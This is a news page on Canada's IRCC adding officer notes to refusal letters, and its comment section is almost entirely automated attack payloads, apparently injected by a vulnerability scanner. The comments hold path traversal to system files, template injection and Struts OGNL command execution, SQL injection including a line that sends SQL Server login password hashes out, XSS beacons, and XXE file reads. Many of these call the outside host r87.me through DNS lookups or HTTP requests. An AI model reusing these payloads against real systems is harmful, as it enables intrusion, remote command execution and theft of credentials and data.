Follow the stories of academics and their research expeditions
Canada’s immigration department, Immigration, Refugees and Citizenship Canada (IRCC), is taking a major step toward transparency by providing more detailed reasons to individuals whose applications are refused.
Previously, applicants who were denied a visa or immigration status often received generic refusal letters that offered little insight into the decision-making process. To gain a fuller explanation, many resorted to filing Access to Information and Privacy (ATIP) requests—a process that often took months.
As of 29 July 2025, IRCC has announced it will now include officer notes directly in refusal letters for certain types of applications, starting with temporary resident visa (TRV) rejections from India. This pilot project aims to reduce the need for ATIP requests and make the process clearer and faster for applicants.
Tue, 03 Feb 2026
/../../../../../../../../../../AppServ/Apache24/logs/access.log
Reply
Tue, 03 Feb 2026
. . /. . /. . /. . /. . /. . /. . /. . /. . /. . /. . /etc/passwd
Reply
Tue, 03 Feb 2026
.....///.....///.....///.....///.....///.....///.....///.....///.....///.....///.....///etc/passwd
Reply
Tue, 03 Feb 2026
....//....//....//....//....//....//....//....//....//....//....//etc/passwd
Reply
Tue, 03 Feb 2026
...//...//...//...//...//...//...//...//...//...//...//etc/passwd
Reply
Tue, 03 Feb 2026
__import__('os').popen(__import__('base64').urlsafe_b64decode('bnNsb29rdXAgbGVvMnlpeDRfZHJpa3VvZzl6dDFsc25hdXZ3YWQ3amlqaTl2aGhfLXRuNC5yODcubWU=')).read()
Reply
Tue, 03 Feb 2026
require 'resolv';Resolv.getaddress ("leo2yix4_dnei1whbolk17uutnrbj0cw095eucuk".concat "v9m.r87.me")
Reply
Tue, 03 Feb 2026
<#assign ex="freemarker.template.utility.Execute"?new()>${ ex("cmd.exe /c nslookup leo2yix4_dpx0sancgm8ry41q5dy89mzzgs-h5ng"+"bbw.r87.me") }
Reply
Tue, 03 Feb 2026
<#assign ex="freemarker.template.utility.Execute"?new()>${ ex("bash -c {eval,$({tr,/+,_-}<<<bnNsb29rdXAgbGVvMnlpeDRfZGozZWhtZG9uMTF6NjllbXM4NjMwb2VvbmNzcndhYjlfdy5yODcubWU=|{base64,--decode})}") }
Reply
Tue, 03 Feb 2026
<%= "#{(require'base64';%x(#{Base64.urlsafe_decode64('bnNsb29rdXAgbGVvMnlpeDRfZDZ5ampvaG1ua2Fla25zeGhiZDRpLTBoaHZpd3ZqM3Mycy5yODcubWU=')})).to_s}" %>
Reply
Tue, 03 Feb 2026
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("nslookup leo2yix4_ddao0fp3w9-tk5puzuy4bvbbafqtsuv"~"7my.r87.me")}}
Reply
Tue, 03 Feb 2026
{php}Smarty_Resource::parseResourceName(system("nslookup leo2yix4_dbqsy0f_xuygwki50-jpavjrzmlohgi"."wg4.r87.me"),'b');{/php}
Reply
Tue, 03 Feb 2026
. . /. . /. . /. . /. . /. . /. . /. . /. . /. . /. . /windows/win.ini
Reply
Tue, 03 Feb 2026
<%- global.process.mainModule.require('child_process').execSync(Buffer('bnNsb29rdXAgbGVvMnlpeDRfZGJzaWkweTdmd2x6Y3Z4YWFuLXlhemhzNjkyZ21iMDdlYS5yODcubWU=','base64').toString()) %>
Reply
Tue, 03 Feb 2026
.....///.....///.....///.....///.....///.....///.....///.....///.....///.....///.....///windows/win.ini
Reply
Tue, 03 Feb 2026
= global.process.mainModule.require('child_process').execSync(Buffer('bnNsb29rdXAgbGVvMnlpeDRfZHg5cmo2dnJ4dWNibG95cGl1anVlbXFnb3MzYnk0ZW42YS5yODcubWU=','base64').toString())
Reply
Tue, 03 Feb 2026
....//....//....//....//....//....//....//....//....//....//....//windows/win.ini
Reply
Tue, 03 Feb 2026
{% set d = "eval(__import__('base64').urlsafe_b64decode('X19pbXBvcnRfXygnb3MnKS5wb3BlbihfX2ltcG9ydF9fKCdiYXNlNjQnKS51cmxzYWZlX2I2NGRlY29kZSgnYm5Oc2IyOXJkWEFnYkdWdk1ubHBlRFJmWkcxak9UQmpablV4Wld4MmRXOXFkSFZpWld0cmNuRm5iM2wyWlhReVpXVjZlUzV5T0RjdWJXVT0nKSkucmVhZCgp'))" %}{% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__ == 'catch_warnings' %}{% for b in c.__init__.func_globals.values() %} {% if b.__class__ == {}.__class__ %}{% if 'eval' in b.keys() %}{{ b['eval'](d) }}{% endif %}{% endif %}{% endfor %}{% endif %}{% endfor %}
Reply
Tue, 03 Feb 2026
...//...//...//...//...//...//...//...//...//...//...//windows/win.ini
Reply
Tue, 03 Feb 2026
{{__import__('os').popen(__import__('base64').urlsafe_b64decode('bnNsb29rdXAgbGVvMnlpeDRfZGF4d2R4dm84NHFla3VwZHFpbHE5d3ZlNXg3Ymg0LW8zdS5yODcubWU=')).read()}}
Reply
Tue, 03 Feb 2026
%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='nslookup "leo2yix4_d_zj55bkrbnqbqrov0axxb8o03atgkf"dr4.r87.me"').(#p=new java.lang.ProcessBuilder({'cmd.exe','/c',#cmd})).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}
Reply
Tue, 03 Feb 2026
%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='nslookup `whoami`."leo2yix4_dpsvjy_jtgiq5yi0zahl1ytj3ymrv6z""tky.r87.me"').(#p=new java.lang.ProcessBuilder({'/bin/bash','-c',#cmd})).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}
Reply
Tue, 03 Feb 2026
|nslookup${IFS}"leo2yix4_dhyrgsm0tvrwp-a1p9a_9xpl4yp3jwv""u2u.r87.me"
Reply
Tue, 03 Feb 2026
<frame src="[removed]netsparker(0x177E5A)"></frame>
Reply
Tue, 03 Feb 2026
"&nslookup "leo2yix4_ddu_9prsej4gmnq0tiq6d9kxd2zvn6z""lhu.r87.me"
Reply
Tue, 03 Feb 2026
'&nslookup "leo2yix4_dypkzyruqtmnynrtwc5zqhc6mtuzxuw""ejy.r87.me"
Reply
Tue, 03 Feb 2026
&nslookup "leo2yix4_dkzksb3qgpqq2fl9hqhgxcvnwahjxxx""hb0.r87.me"
Reply
Tue, 03 Feb 2026
nslookup "leo2yix4_dtpz2kebjmvewgm28qqj-bvgflkcrn-""uto.r87.me"
Reply
Tue, 03 Feb 2026
"& nslookup leo2yix4_dimaecaqqj8xu2jlfanfjk8pzv18_mx^zok.r87.me&'\"`0&nslookup leo2yix4_dimaecaqqj8xu2jlfanfjk8pzv18_mx^zok.r87.me&`'
Reply
Tue, 03 Feb 2026
<html xmlns="http://www.w3.org/1999/xhtml">[removed]netsparker(0x177A72)[removed]</html>
Reply
Tue, 03 Feb 2026
ns../../../../../../../../../../../boot.ini.......................................................................................................................................................................................
Reply
Tue, 03 Feb 2026
'& nslookup leo2yix4_dagobygdpxlvg62aksmfzylvildaing^iku.r87.me&'\"`0&nslookup leo2yix4_dagobygdpxlvg62aksmfzylvildaing^iku.r87.me&`'
Reply
Tue, 03 Feb 2026
& nslookup leo2yix4_dmtlkh0tnzsvnislvu8mjeorsoaeer-^jxq.r87.me&'\"`0&nslookup leo2yix4_dmtlkh0tnzsvnislvu8mjeorsoaeer-^jxq.r87.me&`'
Reply
Tue, 03 Feb 2026
'"@--></style>[removed][removed]netsparker(0x17786D)[removed]
Reply
Tue, 03 Feb 2026
nslookup leo2yix4_dhejxdmaegtaregfffgvetmkeh3spt7^8zs.r87.me&'\"`0&nslookup leo2yix4_dhejxdmaegtaregfffgvetmkeh3spt7^8zs.r87.me&`'
Reply
Tue, 03 Feb 2026
"+gethostbyname(lc 'leo2yix4_drxgylu9olvhcnenseyrzp2btvik6qy'.'lgk.r87.me')+"
Reply
Tue, 03 Feb 2026
'+gethostbyname(lc 'leo2yix4_dhqmchybc7gwbnjejuvzruveyb_sx2z'.'l2a.r87.me')+'
Reply
Tue, 03 Feb 2026
eval('gethostbyname(lc 'leo2yix4_do-gyuxz_j9_igtxbafplhogayddkot'.'t1y.r87.me')')
Reply
Tue, 03 Feb 2026
gethostbyname(lc 'leo2yix4_dl3qk1gq-bkd6-nrnf3kudvzzfd5oed'.'kb8.r87.me')
Reply
Tue, 03 Feb 2026
"+createobject("WScript.Shell").exec("nslookup leo2yix4_ddrqfrv1wr2_tiaenhuvimetkych-ip" & "pss.r87.me").StdOut.ReadAll+"
Reply
Tue, 03 Feb 2026
<%createobject("WScript.Shell").exec("nslookup leo2yix4_detiry1ewywfbsz3owyr-hqoubh70wx" & "bo8.r87.me").StdOut.ReadAll%>
Reply
Tue, 03 Feb 2026
+createobject("WScript.Shell").exec("nslookup leo2yix4_duuyas2ep5vcil_14_uf2v8hm3yotmg" & "cto.r87.me").StdOut.ReadAll+
Reply
Tue, 03 Feb 2026
+createobject("WScript.Shell").exec("nslookup leo2yix4_dltfjcqabrxxoflub4y86ibegpx1uvg" & "smm.r87.me").StdOut.ReadAll
Reply
Tue, 03 Feb 2026
createobject("WScript.Shell").exec("nslookup leo2yix4_dk7oevvcbhdxpllsnjdv6keb0zj9hkf" & "ik8.r87.me").StdOut.ReadAll
Reply
Tue, 03 Feb 2026
'||CTXSYS.DRITHSX.SN(user,(select UTL_INADDR.GET_HOST_ADDRESS(chr(108)||chr(101)||chr(111)||chr(50)||chr(121)||chr(105)||chr(120)||chr(52)||chr(95)||chr(100)||chr(116)||chr(116)||chr(107)||chr(45)||chr(119)||chr(101)||chr(98)||chr(111)||chr(117)||chr(115)||chr(98)||chr(120)||chr(48)||chr(102)||chr(109)||chr(45)||chr(104)||chr(119)||chr(122)||chr(108)||chr(101)||chr(110)||chr(49)||chr(102)||chr(109)||chr(55)||chr(100)||chr(110)||chr(117)||chr(116)||chr(122)||chr(106)||chr(109)||chr(46)||chr(114)||chr(56)||chr(55)||chr(46)||chr(109)||chr(101)) from DUAL))||'
Reply
Tue, 03 Feb 2026
__import__('os').popen(('SET /A 268409241 - {0}').format('10957')).read()
Reply
Tue, 03 Feb 2026
'{${gethostbyname(trim('leo2yix4_dna3f8amiui1pijta_5zzm1big7mab0'.'jl8.r87.me'))}}'
Reply
Tue, 03 Feb 2026
(length(CTXSYS.DRITHSX.SN(user,(select UTL_INADDR.GET_HOST_ADDRESS(chr(108)||chr(101)||chr(111)||chr(50)||chr(121)||chr(105)||chr(120)||chr(52)||chr(95)||chr(100)||chr(95)||chr(45)||chr(107)||chr(112)||chr(104)||chr(98)||chr(118)||chr(55)||chr(109)||chr(54)||chr(112)||chr(119)||chr(107)||chr(100)||chr(117)||chr(101)||chr(105)||chr(117)||chr(103)||chr(115)||chr(109)||chr(113)||chr(122)||chr(113)||chr(99)||chr(102)||chr(98)||chr(103)||chr(115)||chr(116)||chr(118)||chr(100)||chr(107)||chr(46)||chr(114)||chr(56)||chr(55)||chr(46)||chr(109)||chr(101)) from DUAL))))
Reply
Tue, 03 Feb 2026
<? gethostbyname(trim('leo2yix4_dlo8bnwyx4ur0t5yfmkwvx5r9_gi2u5'.'6xu.r87.me'));//?>
Reply
Tue, 03 Feb 2026
__import__('os').popen(('expr 268409241 - {0}').format('84046')).read()
Reply
Tue, 03 Feb 2026
1 + (select dbms_pipe.receive_message((chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)),25) from dual) + 1
Reply
Tue, 03 Feb 2026
(select UTL_INADDR.GET_HOST_ADDRESS(chr(108)||chr(101)||chr(111)||chr(50)||chr(121)||chr(105)||chr(120)||chr(52)||chr(95)||chr(100)||chr(108)||chr(101)||chr(102)||chr(102)||chr(110)||chr(110)||chr(50)||chr(108)||chr(108)||chr(56)||chr(121)||chr(104)||chr(116)||chr(114)||chr(106)||chr(121)||chr(105)||chr(55)||chr(100)||chr(111)||chr(114)||chr(113)||chr(111)||chr(54)||chr(45)||chr(112)||chr(95)||chr(117)||chr(102)||chr(106)||chr(105)||chr(118)||chr(113)||chr(46)||chr(114)||chr(56)||chr(55)||chr(46)||chr(109)||chr(101)) from DUAL)
Reply
Tue, 03 Feb 2026
"+gethostbyname(trim('leo2yix4_dd0ojk-2rzfvfqluwdakn-p1us_83md'.'uq4.r87.me'))+"
Reply
Tue, 03 Feb 2026
1' || (select dbms_pipe.receive_message((chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)),25) from dual) || '
Reply
Tue, 03 Feb 2026
'||CTXSYS.DRITHSX.SN(user,(select UTL_INADDR.GET_HOST_ADDRESS('leo2yix4_d2bhwhnrjia9g4tjubkklqpdrzrab2f'||'9jq.r87.me') from DUAL))||'
Reply
Tue, 03 Feb 2026
'+gethostbyname(trim('leo2yix4_d4ykfcv6z32v9k-25paouqiz8sgh8oq'.'u7y.r87.me'))+'
Reply
Tue, 03 Feb 2026
%{#context["com.opensymphony.xwork2.dispatcher.HttpServletResponse"].addHeader("a",268409241-74989)}
Reply
Tue, 03 Feb 2026
(select dbms_pipe.receive_message((chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)),25) from dual)
Reply
Tue, 03 Feb 2026
(length(CTXSYS.DRITHSX.SN(user,(select UTL_INADDR.GET_HOST_ADDRESS('leo2yix4_dwqnx0f_ztt9lthirlk_ebmzxbxxgdr'||'780.r87.me') from DUAL))))
Reply
Tue, 03 Feb 2026
+gethostbyname(trim('leo2yix4_ddr3mt0bjrlzmowpnjaq1_ahexeh9bd'.'9da.r87.me'));//
Reply
Tue, 03 Feb 2026
arguments[1].end(require('child_process').execSync('set /A 268409241 - 35415'))
Reply
Tue, 03 Feb 2026
-1\'+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand(0)*2))x from INFORMATION_SCHEMA.COLLATIONS group by x limit 1))-- 1
Reply
Tue, 03 Feb 2026
(select UTL_INADDR.GET_HOST_ADDRESS('leo2yix4_djvdwjdsedmnoryfqi_cg9_irlf4hq6'||'oag.r87.me') from DUAL)
Reply
Tue, 03 Feb 2026
gethostbyname(trim('leo2yix4_dfmgu_advbxfoppnhtuqovhtbr7i15f'.'zo4.r87.me'));
Reply
Tue, 03 Feb 2026
arguments[1].end(require('child_process').execSync('expr 268409241 - 29392'))
Reply
Tue, 03 Feb 2026
-1'+and+6=3+or+1=1+(SELECT+1+and+ROW(1,1)>(SELECT+COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.COLLATIONS+GROUP+BY+x)a)+'
Reply
Tue, 03 Feb 2026
'||(SELECT dblink_connect('host=leo2yix4_ds1qymj6gdqlc5zvfon_i_9ng_artjz'||'rm4.r87.me user=a password=a connect_timeout=2'))||'
Reply
Tue, 03 Feb 2026
gethostbyname(trim('leo2yix4_d-8_xrg1ryxs5arcm3vv0hfs2evuezz'.'mcy.r87.me'))
Reply
Tue, 03 Feb 2026
1 + ((SELECT 1 FROM (SELECT SLEEP(25))A))/*'XOR(((SELECT 1 FROM (SELECT SLEEP(25))A)))OR'|"XOR(((SELECT 1 FROM (SELECT SLEEP(25))A)))OR"*/
Reply
Tue, 03 Feb 2026
'+convert(int, cast(0x5f21403264696c656d6d61 as varchar(8000)))+'
Reply
Tue, 03 Feb 2026
cast((SELECT dblink_connect(chr(104)||chr(111)||chr(115)||chr(116)||chr(61)||chr(108)||chr(101)||chr(111)||chr(50)||chr(121)||chr(105)||chr(120)||chr(52)||chr(95)||chr(100)||chr(118)||chr(118)||chr(111)||chr(121)||chr(97)||chr(121)||chr(101)||chr(104)||chr(100)||chr(106)||chr(103)||chr(98)||chr(97)||chr(49)||chr(105)||chr(50)||chr(117)||chr(106)||chr(102)||chr(120)||chr(115)||chr(121)||chr(121)||chr(110)||chr(57)||chr(101)||chr(111)||chr(121)||chr(116)||chr(115)||chr(110)||chr(113)||chr(115)||chr(46)||chr(114)||chr(56)||chr(55)||chr(46)||chr(109)||chr(101)||chr(32)||chr(117)||chr(115)||chr(101)||chr(114)||chr(61)||chr(97)||chr(32)||chr(112)||chr(97)||chr(115)||chr(115)||chr(119)||chr(111)||chr(114)||chr(100)||chr(61)||chr(97)||chr(32)||chr(99)||chr(111)||chr(110)||chr(110)||chr(101)||chr(99)||chr(116)||chr(95)||chr(116)||chr(105)||chr(109)||chr(101)||chr(111)||chr(117)||chr(116)||chr(61)||chr(50))) as numeric)
Reply
Tue, 03 Feb 2026
syscolumns WHERE 2>3;DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x--
Reply
Tue, 03 Feb 2026
'||CTXSYS.DRITHSX.SN(user,(select chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97) from DUAL))||'
Reply
Tue, 03 Feb 2026
cast((SELECT dblink_connect('host=leo2yix4_dv31xcpmw_vvl5o2bni0q0sl6w1qafm'||'yv4.r87.me user=a password=a connect_timeout=2')) as numeric)
Reply
Tue, 03 Feb 2026
1);DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x--
Reply
Tue, 03 Feb 2026
(length(CTXSYS.DRITHSX.SN(user,(select chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97) from DUAL))))
Reply
Tue, 03 Feb 2026
dblink_connect('host=leo2yix4_djp2dtyqw9sja1z14jonvidh8gpik_e'||'dpa.r87.me user=a password=a connect_timeout=2')
Reply
Tue, 03 Feb 2026
1;DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x--
Reply
Tue, 03 Feb 2026
%{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='21114').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c','SET /A 0xFFF9999 -' + #cmd}:{'/bin/bash','-c','expr 268409241 - ' + #cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
Reply
Tue, 03 Feb 2026
SELECT dblink_connect('host=leo2yix4_ddnmyp2htkpfjkuuffcjz2ilouewuns'||'hio.r87.me user=a password=a connect_timeout=2')
Reply
Tue, 03 Feb 2026
1 procedure analyse(extractvalue(rand(),concat(0x3a,CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)))),1)-- 1
Reply
Tue, 03 Feb 2026
1));DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x--
Reply
Tue, 03 Feb 2026
-1'+(SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)+'
Reply
Tue, 03 Feb 2026
-1';DECLARE @q varchar(999),@r nvarchar(999)SET @q = 'SELECT * FROM OPENROWSET(''SQLOLEDB'',''@'';''a'';''1'',''SELECT 1'')'SET @r=replace(@q,'@','leo2yix4_ddn6iiqvb6vmnx_ywufvtcwlorqh4u7'+'8lm.r87.me')exec sp_executesql @r--
Reply
Tue, 03 Feb 2026
[removed]JyI+PHNjcmlwdD5uZXRzcGFya2VyKDB4MTc2MDlCKTwvc2NyaXB0Pg==
Reply
Tue, 03 Feb 2026
1;DECLARE @q varchar(999),@r nvarchar(999)SET @q = 'SELECT * FROM OPENROWSET(''SQLOLEDB'',''@'';''a'';''1'',''SELECT 1'')'SET @r=replace(@q,'@','leo2yix4_dsphv1husntwiesxlztckfvzu5g_jln'+'emi.r87.me')exec sp_executesql @r--
Reply
Tue, 03 Feb 2026
(SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)
Reply
Tue, 03 Feb 2026
'"--></style>[removed][removed]netsparker(0x175F7A)[removed]
Reply
Tue, 03 Feb 2026
DECLARE @q varchar(999),@r nvarchar(999)SET @q = 'SELECT * FROM OPENROWSET(''SQLOLEDB'',''@'';''a'';''1'',''SELECT 1'')'SET @r=replace(@q,'@','leo2yix4_dtdm8bluz_s2lz0y89vonx2hxddbaec'+'ybg.r87.me')exec sp_executesql @r
Reply
Tue, 03 Feb 2026
'"--></style>[removed][removed]netsparker(0x175F11)[removed]
Reply
Tue, 03 Feb 2026
syscolumns WHERE 2>3;exec('xp_dirtree ''\\leo2yix4_dw6l68ytvgpgclhrzh8namdoq9nwpp5'+'x7o.r87.me'+'\c$\a''')--
Reply
Tue, 03 Feb 2026
1'))exec('xp_dirtree ''\\leo2yix4_du108xgfe_oifwvh_onj7bbodkiwelv'+'2b0.r87.me'+'\c$\a''')--
Reply
Tue, 03 Feb 2026
(select chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97) from DUAL)
Reply
Tue, 03 Feb 2026
1))exec('xp_dirtree ''\\leo2yix4_doqqyo1cpvflsntsyj5iazxawniwgkl'+'fli.r87.me'+'\c$\a''')--
Reply
Tue, 03 Feb 2026
'||cast((select chr(95)||chr(33)||chr(64)||chr(53)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)) as numeric)||'
Reply
Tue, 03 Feb 2026
1')exec('xp_dirtree ''\\leo2yix4_do3ulcltpfl-xtskcqqvvvxtpgm3074'+'ypo.r87.me'+'\c$\a''')--
Reply
Tue, 03 Feb 2026
cast((select chr(95)||chr(33)||chr(64)||chr(53)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)) as numeric)
Reply
Tue, 03 Feb 2026
1) exec('xp_dirtree ''\\leo2yix4_d4ji0wtdpqg679888hqbx39nigxwadu'+'zra.r87.me'+'\c$\a''')--
Reply
Tue, 03 Feb 2026
(SELECT CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)))
Reply
Tue, 03 Feb 2026
-1';exec('xp_dirtree ''\\leo2yix4_dsvgrsj_lp55n5e8gv_kxwejqwz3nh8'+'uhe.r87.me'+'\c$\a''')--
Reply
Tue, 03 Feb 2026
-1" and 6=3 or 1=1+(SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)+"
Reply
Tue, 03 Feb 2026
1;exec('xp_dirtree ''\\leo2yix4_dviarpswlkupjgk-ihqq3jp7tbelkkf'+'hmm.r87.me'+'\c$\a''')--
Reply
Tue, 03 Feb 2026
-1' and 6=3 or 1=1+(SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)+'
Reply
Tue, 03 Feb 2026
declare @h varchar(999)select @h='1'+substring(name+'-'+master.sys.fn_varbintohexstr(ISNULL(password_hash,0x0)),0,63)+'.leo2yix4_dayp-udax-db7lvlvpdlilsezkshmch'+'-cs.r87.me' from sys.sql_logins WHERE principal_id=1;exec('xp_dirtree ''\\'+@h+'\c$''')
Reply
Tue, 03 Feb 2026
-1 or 1=1 and (SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)
Reply
Tue, 03 Feb 2026
exec('xp_dirtree ''\\leo2yix4_dmetfhqm905udfbtnfzvgbhx1_gy0ve'+'wy8.r87.me'+'\c$\a''')
Reply
Tue, 03 Feb 2026
'AND 1=cast(0x5f21403264696c656d6d61 as varchar(8000)) or '1'='
Reply
Tue, 03 Feb 2026
convert(int, cast(0x5f21403264696c656d6d61 as varchar(8000)))
Reply
Tue, 03 Feb 2026
'+ (select convert(int, cast(0x5f21403264696c656d6d61 as varchar(8000))) from syscolumns) +'
Reply
Tue, 03 Feb 2026
(select convert(int,cast(0x5f21403264696c656d6d61 as varchar(8000))) from syscolumns)
Reply
Tue, 03 Feb 2026
';l=document.createElement("link");l.rel="prefetch";l.href="//leo2yix4_dn53ln5qqwmt-thz94y2qkdpvy4srmj"+"ixo.r87.me/r/?"+location.href;document.head.appendChild(l);//
Reply
Tue, 03 Feb 2026
";l=document.createElement("link");l.rel="prefetch";l.href="//leo2yix4_d0bf8akhrgqrylfoyfbizz8xegnq_so"+"lbq.r87.me/r/?"+location.href;document.head.appendChild(l);//
Reply
Tue, 03 Feb 2026
<fRame src=N onload="this.onload='';this.src='//leo2yix4_drgqkp9qysuidaprssa0lrew_yuokgf'+'mlm.r87.me/r/?'+location.href">
Reply
Tue, 03 Feb 2026
<?xml version="1.0" encoding="utf-8"?><!DOCTYPE r [<!ENTITY % s "php://filter/read=convert.base64-encode/resource=http://leo2yix4"><!ENTITY % d "_dwngbjffoelanfmud1vvnsbn1j532tnje0.r87.me"><!ENTITY % dtd SYSTEM "http://r87.me/dtd"> %dtd;]><r>&a;</r>
Reply
Tue, 03 Feb 2026
php://filter//resource=http://leo2yix4_dpgaxizvgy8wto3hhwod_4hibiwiohtoxp.r87.me/p/
Reply
Tue, 03 Feb 2026
<?xml version="1.0" encoding="utf-8"?><!DOCTYPE r [<!ENTITY % s "php://filter/resource=http://leo2yix4"><!ENTITY % d "_dt82b77ut5jewdyj-oho361ladzaskymss.r87.me"><!ENTITY % dtd SYSTEM "http://r87.me/dtd"> %dtd;]><r>&a;</r>
Reply
Tue, 03 Feb 2026
http://r87.me/r/?id=leo2yix4_df3hy99rblbtpf8_kck_v63ruf4wzc1bf0
Reply
Tue, 03 Feb 2026
<?xml version="1.0" encoding="utf-8"?><!DOCTYPE r [<!ENTITY % s "http://leo2yix4"><!ENTITY % d "_dbjmadfjzqica7iqote8um649z91nkdbrk.r87.me"><!ENTITY % dtd SYSTEM "http://r87.me/dtd"> %dtd;]><r>&a;</r>
Reply
Tue, 03 Feb 2026
<?xml version="1.0"?><!DOCTYPE ns [<!ELEMENT ns ANY><!ENTITY lfi SYSTEM "file:///etc/passwd">]><ns>&lfi;</ns>
Reply
Tue, 03 Feb 2026
<?xml version="1.0"?><!DOCTYPE ns [<!ELEMENT ns ANY><!ENTITY lfi SYSTEM "file:///C:/Windows/System32/drivers/etc/hosts">]><ns>&lfi;</ns>
Reply
-1 OR 1=1 Smith
Tue, 03 Feb 2026
Reply